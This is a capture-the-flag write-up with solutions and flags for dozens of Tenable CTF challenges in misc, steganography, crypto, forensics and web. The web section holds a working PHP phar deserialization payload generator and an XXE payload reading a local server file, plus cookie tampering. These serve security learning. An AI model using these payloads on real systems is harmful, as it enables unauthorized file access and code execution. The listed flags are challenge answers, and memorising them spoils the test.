Esoteric
Misc – 25pts
Description
--[----->+<]>.++++++.-----------.++++++.[----->+<]>.----.---.+++[->+++<]>+.-------.++++++++++.++++++++++.++[->+++<]>.+++.[--->+<]>----.+++[->+++<]>++.++++++++.+++++.--------.-[--->+<]>--.+[->+++<]>+.++++++++.>--[-->+++<]>.
Solution
Here we got some brainfuck code, running this in an interpreter returns the flag.
flag{wtf_is_brainfuck}
Quit messing with my flags
Misc – 25pts
Description
This flag had an accident. What’s it really supposed to be? flag{161EBD7D45089B3446EE4E0D86DBCF92}
Solution
Doing a reverse md5 lookup for the flag gives us the correct flag.
flag{P@ssw0rd}
Reggie McRegex
Misc – 25pts
Description
Find the flag in the attached file containing a haystack. Not including the quotes, the flag will be in the format of “flag{here_is_a_flag}”. The text between the curly braces can consist of lowercase characters and underscores and be a maximum length of 16. You’ll know it when you see it.
Solution
Regex search in the file with flag{[a-z_]{16}}
finds the flag.
flag{thy_flag_is_this}
One Byte at a Time
Misc – 50pts
Description
challenges.ctfd.io:30468
Solution
Connecting to the service gives us access to a flag checker.
Show me how much of the flag you know and I'll help you with the rest.' [flag]> You seem to know the first 0 characters of the flag! XORing the next flag character with a random octet taken from some unknown IPv4 address I have… 0x76
Connecting and not entering anything gives us three different values, 0x76, 0x11 and 0x64. Since we know that the first character of the flag is f we can XOR the values with 0x66 to get the three XOR values used by the service 0x77, 0x02 and 0x10.
Using these values we can write a script to check which XOR value is most likely to have been used for each character.
#!/usr/bin/env python3
flag = ''
character = 0x6d
print(chr(character ^ 0x77))
print(chr(character ^ 0x02))
print(chr(character ^ 0x10))
print(flag)
Validating each character and working our way forward we eventually get the flag.
flag{f0ll0w_th3_whit3_r@bb1t}
Find the encoding
Misc – 50pts
Description
DeZmqMUkDJceycJHJPzZet
Solution
Base58 decoding the string gives us the flag.
flag{not_base64}
Not JSON
Misc – 75pts
Description
wAAAAAIwAB4AAABhYmNkZWZnaGppa2xtbm9wcXJzdHV2d3h5el97fQAEMQCTAAAAEDAABQAAABAxAAsAAAAQMgAAAAAAEDMABgAAABA0ABsAAAAQNQASAAAAEDYADgAAABA3AA0AAAAQOAAaAAAAEDkADgAAABAxMAAFAAAAEDExABoAAAAQMTIAAAAAABAxMwAaAAAAEDE0AAEAAAAQMTUAEgAAABAxNgAOAAAAEDE3AA0AAAAQMTgAHAAAAAAA
Solution
Base64 decoding the string gives us some binary data with some text.
À….0…..abcdefghjiklmnopqrstuvwxyz_{}..1……0……1……2……3……4……5……6……7. ….8……9……10……11……12……13……14……15……16……17. ….18…….
Converting this to hex we can find a pattern.
c0 00 00 00 02 30 00 1e 00 00 00 61 62 63 64 65 66 67 68 6a 69 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 5f 7b 7d 00 04 31 00 93 00 00 00 10 30 00 05 00 00 00 10 31 00 0b 00 00 00 10 32 00 00 00 00 00 10 33 00 06 00 00 00 10 34 00 1b 00 00 00 10 35 00 12 00 00 00 10 36 00 0e 00 00 00 10 37 00 0d 00 00 00 10 38 00 1a 00 00 00 10 39 00 0e 00 00 00 10 31 30 00 05 00 00 00 10 31 31 00 1a 00 00 00 10 31 32 00 00 00 00 00 10 31 33 00 1a 00 00 00 10 31 34 00 01 00 00 00 10 31 35 00 12 00 00 00 10 31 36 00 0e 00 00 00 10 31 37 00 0d 00 00 00 10 31 38 00 1c 00 00 00 00 00
After the second 0x30 value we can see the value 0x05, which corresponds with the character f if used as an index to the alphabet string. The second value is 0x0b which corresponds to l, and so on. Extracting all the indexes we can write a script to rebuild the flag.
#!/usr/bin/env python3
chars = 'abcdefghjiklmnopqrstuvwxyz_{}'
flag = [0x05, 0x0b, 0x00, 0x06, 0x1b, 0x12, 0x0e, 0x0d, 0x1a, 0x0e, 0x05, 0x1a, 0x00, 0x1a, 0x01, 0x12, 0x0e, 0x0d, 0x1c]
decoded = ''
for idx in flag:
decoded += chars[idx]
print(decoded)
flag{son_of_a_bson}
Broken QR
Misc – 100pts
Description
Can you scan this QR code for me?
Solution
Attached is a QR code where some areas has been erased.

After some rebuilding using GIMP, we end up with a working QR code.

Scanning this gives us the flag.
flag{d4mn_it_w0nt_sc4n}
The only tool you’ll ever need
Reverse Engineering – 25pts
Description
Do you know how to use the most powerful reversing tool on the planet?
Solution
Using strings on the binary we can see the flag in the output.
strings a.out | grep flag flag{str1ngs_FTW} Enter the password to get the flag:
Pwntown 1
Reverse Engineering – 200pts
Description
I’ve been trying to make a video game. It’s pretty rough around the edges right now. Character sprites don’t always cooperate, one of the character classes can’t even attack yet, but I’m pretty proud of it so far. I made it using Unity, a starter package called uMMORPG, and a bunch of assets from the public domain.
It’s really difficult, but I’m sure a hacker such as yourself won’t have any problem figuring it out. 😉
The flag for this challenge can be obtained by winning the coridoor race.
Solution
For this challenge we get a Windows game. When we start the game and walk to the left we can find the corridor race.

All we have to do is run straight down and we get the flag in the chat.

flag{th3_amazinng_r4c3}
Easy Stego
Steganography – 25pts
Description
None
Solution
Opening the attached image with Stegsolve we can find parts of the flag in the R, G and B planes.



flag{Bl4ck_liv3S_MATTER}
Hackerman
Steganography – 25pts
Description
What’s the flag?
Solution
Attached is a SVG file. All we have to do is grep for flag.
grep flag silly_hacker.svg
style="font-size:1.25px;fill:#808080">flag{m1cr0dot}</tspan></text>
flag{m1cr0dot}
Look at all the pixels, where do they all come from
Steganography – 125pts
Description
Maybe there is something hidden in this picture?
Solution
Attached is an image containing random pixels.

Using zsteg -a pip.png
we find an interesting row.
b8,rgb,lsb,xy .. file: PNG image data, 887 x 469, 8-bit/color RGB, non-interlaced
It seems that there’s another PNG embedded in the original. When we extract it with zsteg -E b8,rgb,lsb,xy pip.png > test.png
we get the following picture.

flag{p1ctur3_in_picture}
Secret Images
Steganography – 125pts
Description
We discovered Arasaka operatives sending wierd pictures to each other. It looks like they may contain secret data. Can you find it?
Solution
Attached are two images of random pixels. Using Stegsolve to combine the both images using XOR we get the following picture.

flag{otp_reuse_fail}
Classic Crypto
Cryptography – 50pts
Description
<Redacted encrypted message>
Solution
Here we get a message encrypted with a Vigenere cipher. Bruteforcing the key we get the key ANONYMOUS which we can use to decrypt the message. In the message we find the flag.
flag{classicvigenere}
Easy Peasy
Cryptography – 50pts
Description
Find the flag here:
NzMgNzkgNmUgNzQgN2IgNzAgNjIgNjEgNzQgNjUgNmUgNjcgNjYgNWYgNmMgNjIgNjggNWYgNzQgNjIgNjcgNWYgN2EgNzIgN2Q=
Solution
First we have to base64 decode the message to get this.
73 79 6e 74 7b 70 62 61 74 65 6e 67 66 5f 6c 62 68 5f 74 62 67 5f 7a 72 7d
Converting this from hex to ascii gives us the following.
synt{pbatengf_lbh_tbg_zr}
And using rot13 on the string gives us the flag.
flag{congrats_you_got_me}
H4ck3R_m4n exp0sed! 1
Forensics – 25pts
Description
I got this packet capture with some of the notorious h4ckerm4n’s secret information.
The flag for this challenge should give you purpose.
Solution
Opening the packet capture file in Wireshark we can find a FTP-session where the user h4ckerm4n uploads three files, butter.jpg, compression_info.txt and supersecure.7z. Saving the file butter.jpg we get the following image.

flag{u_p4ss_butt3r}
H4ck3R_m4n exp0sed! 2
Forensics – 25pts
Description
The flag for this challenge should make my boss angry.
Solution
Saving the previously found files we get a password protected 7zip archive and a text file containing the password.
The password for the compressed file is "bbqsauce"
Decompressing the file supersecure.7z we get two files, pickle_nick.png and dataz. In the image we get the flag.

flag{pickl3_NIIICK}
H4ck3R_m4n exp0sed! 3
Forensics – 50pts
Description
The flag for this challenge should give you unrealistic expectations.
Solution
Taking a look at the dataz file from the previous archive we can see that it’s a bunch of hex characters. Rebuilding the file using xxd -r dataz data.out
generates a base64 encoded jpeg file. Decoding this with cat data.base | base64 -d > new.jpg
gives us a image containing the flag.

flag{20_minute_adventure}
Play me
Vidya – 200pts
Description
Win the game to get the flag! It’s pretty hard, though…
Solution
For this challenge we get a Game Boy ROM. Opening this with an emulator like VisualBoyAdvance shows us that it’s a platformer and the goal is to reach the end platform which can’t be reached by just playing the game.

Lets find the y position for our character in memory to be able to change it so our character can “fly”. After taking a look at the RAM portion of the memory we quickly find the y position at C0AE.
Using VisualBoyAdvance’s built in cheat engine we can patch the memory value so we never fall down.

Now we are able to reach the end without having to jump on all the platforms.

Now we have to turn off the cheat so we land on the platform to trigger the winning screen.

flag{pixels}
The ultimate mutant marvel team-up
Tenable – 25pts
Description
Enter the “mutant” flag from the Nessus DB file Linux_Scan.db.
Solution
Import the db file in Nessus and export it as a .nessus file. Open the file in a text editor and search for mutant.
<tag name="get it? XML?">the "mutant" flag is: flag{1t's eXt3n51bl3}</tag>
flag{1t's eXt3n51bl3}
Knowledge is knowing a tomato is a fruit
Tenable – 25pts
Description
Enter the “knowledge” flag from the Nessus DB file Linux_Scan.db.
Solution
To the right in the UI choose the host 172.26.48.53.

Click the download link to download the Nessus Knowledgebase. Open the downloaded file and scroll to the end.
1613996089 1 Tomato/Tomahto=the "knowledge" flag is: flag{bu7 n07 putt1ng 1t 1n 4 fru17 s@l4d, th@t5 W1SD0M}
It’s twice as hard
Tenable – 100pts
Description
… but I command you to do it.
Enter the “command” flag from the Nessus DB file Linux_Scan.db.
Solution
Checking the logs for 172.26.48.53 we can find a log called get_flag.log. Opening this we can find a command entered.
0x00: 00 00 00 3C 13 62 00 00 00 00 00 00 00 04 65 78 …<.b……..ex 0x10: 65 63 01 00 00 00 16 63 61 74 20 2F 74 6D 70 2F ec…..cat /tmp/ 0x20: 66 6C 61 67 20 7C 20 78 78 64 20 2D 70 2F 4E 2C flag | xxd -p/N, 0x30: 2F A8 11 1B C8 B5 5D 1C D9 CC E2 22 85 DC AB FF /…..]…."….
A but further down in the file we can see the response.
0x01E0: 32 65 32 65 32 65 32 65 32 65 32 65 32 65 37 34 2e2e2e2e2e2e2e74 0x01F0: 0A 36 38 36 35 32 30 32 32 36 33 36 66 36 64 36 .68652022636f6d6 0x0200: 64 36 31 36 65 36 34 32 32 32 30 36 36 36 63 36 d616e642220666c6 0x0210: 31 36 37 32 30 36 39 37 33 33 61 32 30 36 36 36 1672069733a20666 0x0220: 63 36 31 36 37 37 62 35 30 37 32 33 30 0A 36 37 c61677b507230.67 0x0230: 37 32 33 34 36 64 36 64 33 31 36 65 36 37 32 30 72346d6d316e6720 0x0240: 34 64 37 35 33 35 33 37 32 30 33 38 33 33 32 30 4d75353720383320 0x0250: 33 37 36 38 33 33 32 30 35 30 37 32 33 30 36 33 3768332050723063 0x0260: 33 33 33 35 33 35 32 30 33 30 0A 36 36 32 30 35 3335352030.66205 0x0270: 30 37 35 37 34 37 34 33 31 36 65 36 37 32 30 33 0757474316e67203 0x0280: 37 36 38 33 33 36 64 32 30 33 31 36 65 37 64 30 768336d20316e7d0 0x0290: 61 0A a.
Converting the response from hex to ascii gives us the flag.
the "command" flag is: flag{Pr0gr4mm1ng Mu57 83 7h3 Pr0c355 0f Putt1ng 7h3m 1n}
Stay Away Creepy Crawlers
Web – 25pts
Description
Find the flag where they keep the creepy crawlers away.
Solution
Getting /robots.txt gives us the flag.
User-agent: * Disallow: /admin/ flag{mr_roboto}
Source of All Evil
Web – 25pts
Description
Find the flag here: <URL>
Solution
Viewing the source of the page we can find the flag as a comment.
<!-- source flag : flag{best_implants_ever} -->
Can’t find it
Web – 25pts
Description
Find the flag here: <URL>
Solution
Entering a non existing file returns the 404 page, which contains the flag.

flag{404_oh_no}
Headers for you inspiration
Web – 25pts
Description
Find the flag here: <URL>
Solution
Checking the headers for the GET request to the root page we can find the flag.
Flag: flag{headersftw}
Show me what you got
Web – 25pts
Description
Find the “indexes” flag here: <URL>
Solution
Viewing the source we can find a directory containing the logo.
<img src='/images/doc_jones.png'>
Entering the images directory we can see a text file.

Downloading the text file gives us the flag.
flag{disable_directory_indexes}
Certificate of Authenticity
Web – 25pts
Description
Find the flag here: <URL>
Solution
Checking the SSL cert with curl -vvI --insecure https://URL
, we can find the flag in the subject entry.
* subject: C=US; ST=Florida; L=Foo; O=Doc Jones; OU=Research; CN=flag{selfsignedcert}; emailAddress=doc@jones.com
Ripper Doc
Web – 50pts
Description
Find the flag in the ripper doc list.
Solution
Entering the ripper doc list we get a message that we have to be in the club to get the list.

In the response we also get a cookie set called authenticated with the value false. Changing the value to true and reloading the page gives us the flag.

flag{messing_with_cookies}
Follow The Rabbit Hole
Web – 100pts
Description
Follow the rabbit hole and get the flag.
Solution
When entering the page for this challenge we only get something like [371, '08'] EiFCRRS86AT19seqH1ls
, we can also see that the URL changed with an added parameter, rabbit_hole.php?page=dUfob5k9t2vH1dVEU9bU
.
Replacing the page parameter with the value from the page gives us another value containing a number/byte tuple and a page id. Lets write a script to get all values.
#!/usr/bin/env python3
import requests
data = [None] * 2000
params = ""
base_url = "http://<URL>/rabbit_hole.php"
while True:
r = requests.get(base_url+params)
if r.text == "end":
fh = open('data', 'w')
for item in data:
if item != None:
fh.write(item)
break
print(r.text)
idx = int(r.text.split()[0][1:-1])
char = r.text.split()[1][1:-2]
new_id = r.text.split()[2]
params = "?page=" + new_id
data[idx] = char
When the script finishes we have a file containing a bunch of hex values. Lets convert the file to a binary by using xxd -r -p data output
. Using the file command on the output file we can see that it’s a PNG image.

flag{automation_is_handy}
Spring MVC 1
Web – 25pts
Description
Attached is a zip archive containing the source code of a Spring MVC Java web application. Download and extract the archive.
The goal is for you to analyze the code and construct HTTP requests.
Solution
Taking a look at the MainController.java
file we can find all the methods for the next couple of flags.
@GetMapping("/main")
public ModelAndView getMain() {
ModelAndView modelAndView = new ModelAndView("flag");
modelAndView.addObject("flag", flags.getFlag("spring_mvc_1")); // get main
return modelAndView;
}
When we do a GET request to /main we get the flag.
flag{flag1_517d74}
Spring MVC 2
Web – 25pts
Description
See Spring MVC 1 for instructions.
Solution
@PostMapping("/main")
public String postMain(@RequestParam(name="magicWord", required=false, defaultValue="") String magicWord, Model model) {
if (magicWord.equals("please"))
model.addAttribute("flag", flags.getFlag("spring_mvc_3")); // post main param
else
model.addAttribute("flag", flags.getFlag("spring_mvc_2")); // post main
return "flag";
}
When we send the request POST /main?magicWord
we get the flag.
flag{flag2_de3981}
Spring MVC 3
Web – 25pts
Description
See Spring MVC 1 for directions.
Solution
In the same code as the MVC 2 flag we can find the code for this flag.
When we send the request POST /main?magicWord=please
we get the flag.
flag{flag3_0d431e}
Spring MVC 4
Web – 25pts
Description
See Spring MVC 1 for directions.
Solution
@PostMapping(path = "/main", consumes = "application/json")
public String postMainJson(Model model) {
model.addAttribute("flag", flags.getFlag("spring_mvc_4")); // post main flag json
return "flag";
}
If we send a POST request to /main and adding the header Content-Type: application/json we get the flag.
flag{flag4_695954}
Spring MVC 5
Web – 25pts
Description
See Spring MVC 1 for directions.
Solution
@RequestMapping(path = "/main", method = RequestMethod.OPTIONS)
public String optionsMain(Model model) {
model.addAttribute("flag", flags.getFlag("spring_mvc_5")); // options main
return "flag";
}
Sending an OPTIONS request to /main returns the flag.
flag{flag5_70102b}
Spring MVC 6
Web – 25pts
Description
See Spring MVC 1 for directions.
Solution
@RequestMapping(path = "/main", method = RequestMethod.GET, headers = "Magic-Word=please")
public String headersMain(Model model) {
model.addAttribute("flag", flags.getFlag("spring_mvc_6")); // headers main
return "flag";
}
Sending an GET request to /main and adding the header Magic-Word: please returns the flag.
flag{flag6_ca1ddf}
Spring MVC 7 (Hiding in Plain Sight)
Web – 50pts
Description
See Spring MVC 1 for directions.
Solution
In the template file .hello.html we can see the following code.
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Tenable CTF: Spring MVC</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
span.hidden { color:white; }
</style>
</head>
<body>
<p th:text="'Hello, ' + ${name} + '!'" />
<p th:if="${name == 'please'}">
<span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" />
</p>
<p th:if="${#session.getAttribute('realName') == 'admin'}">
<span th:text="${#session.getAttribute('sessionFlag')}" />
</p>
</body>
</html>
Sending a GET request with the name parameter set to please returns the following HTML.
<!DOCTYPE HTML>
<html>
<head>
<title>Tenable CTF: Spring MVC</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
span.hidden { color:white; }
</style>
</head>
<body>
<p >Hello, please!</p>
<p>
<span class="hidden" >flag{hidden_flag_1dbc4}</span>
</p>
</body>
</html>
flag{hidden_flag_1dbc4}
Spring MVC 8 (Sessionable)
Web – 75pts
Description
See Spring MVC 1 for directions.
Solution
In the .hello.html template we could see some code for the session flag.
<p th:if="${#session.getAttribute('realName') == 'admin'}">
<span th:text="${#session.getAttribute('sessionFlag')}" />
</p>
Searching through the code we can find a controller where the session attribute realName is set.
@Controller
public class OtherController {
@GetMapping("/other")
public String index(@RequestParam(name="name", required=false, defaultValue="user") String realName, HttpSession session, Model model) {
session.setAttribute("realName", realName);
model.addAttribute("name", realName);
return "hello";
}
}
Worth noting is that this controller doesn’t return the .hello.html template, but the hello.html template which doesn’t contain the sessionFlag output. So if we request /other?name=admin we don’t get the flag, but the realName session attribute is set. Now we can get the web root and get the flag.
flag{session_flag_0dac2c}
Phar Out!
Web – 125pts
Description
Find the vulnerability using the provided source code. Dockerfile included.
Exploit the vulnerability in <URL> to recover the flag. Please, no scanners, brute force, DoS against the live site.
Server is Ubuntu/Apache2/PHP7.4
Solution
Taking a look at the source code we can find the following code in the index.php file.
if (isset($_POST['submit']) && $_FILES['the_file']['size'] > 0)
{
$dest_dir = getcwd() . "/uploads/";
echo "<br />Submitted<br />";
$target_file = $dest_dir . basename($_FILES["the_file"]["name"]);
//print_r($_FILES);
move_uploaded_file($_FILES["the_file"]["tmp_name"], $target_file);
if ($_POST['s'] === 'p')
$s = 'phar://';
else
$s = 'file://';
echo md5_file("$s$target_file");
unlink($target_file);
}
?>
Worth noting is the s parameter that can be used to set a phar:// scheme. So this probably is a phar deserialization vulnerability. Taking a look at the other source files we find a wrapper class.
<?php
include("doit.php");
class Wrapper
{
private $doit;
public function __wakeup()
{
if (isset($this->doit))
{
$this->doit = new Doit();
}
else
{
echo "Hello from Wrapper!";
}
}
}
?>
And the doit.php file that gets the flag.
<?php
class Doit {
public function __construct()
{
$flag = getenv("FLAG");
echo "flag{{$flag}}\n";
}
}
?>
Using this blog post we can create the following payload.
<?php
class Wrapper { }
$dummy = new Wrapper();
$dummy->callback = "passthru";
$dummy->doit = true;
@unlink("poc.phar");
$poc = new Phar("poc.phar");
$poc->startBuffering();
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
$poc["file"] = "text";
$poc->setMetadata($dummy);
$poc->stopBuffering();
?>
To generate the phar file we just run the script with php gen_phar.php
. Now lets try to upload the file.

Ok, now we need to change the value of the s parameter, when we inspect the form we can find this.

Lets change the value of the input field to p.

Now lets try to upload our payload again.

Great, we got the flag!
flag{scooby}
Send a Letter
Web – 50pts
Description
There is a web app at <URL>. Find the vulnerability, exploit it, and recover the flag.
Solution
When entering the page we get a form to send a letter.

When submitting the form we can see that the request is in XML format.
GET /send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3Cletter%3E%3Cfrom%3En%3C/from%3E%3Creturn_addr%3Era%3C/return_addr%3E%3Cname%3Ern%3C/name%3E%3Caddr%3Erea%3C/addr%3E%3Cmessage%3Emess%3C/message%3E%3C/letter%3E HTTP/1.1
Url decoded
<?xml version="1.0" encoding="ISO-8859-1"?><letter><from>n</from><return_addr>ra</return_addr><name>rn</name><addr>rea</addr><message>mess</message></letter>
And the response echoes the name and gives us a filename.
Message to rn appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.
Lets create an XXE payload to retreive the /tmp/messages_outbound.txt file.
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///tmp/messages_outbound.txt"> ]><letter><from>n</from><return_addr>ra</return_addr><name>&ent;</name><addr>rea</addr><message>mess</message></letter>
Sending this request we get the following response.
Message to flag{xxe_aww_yeah} appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.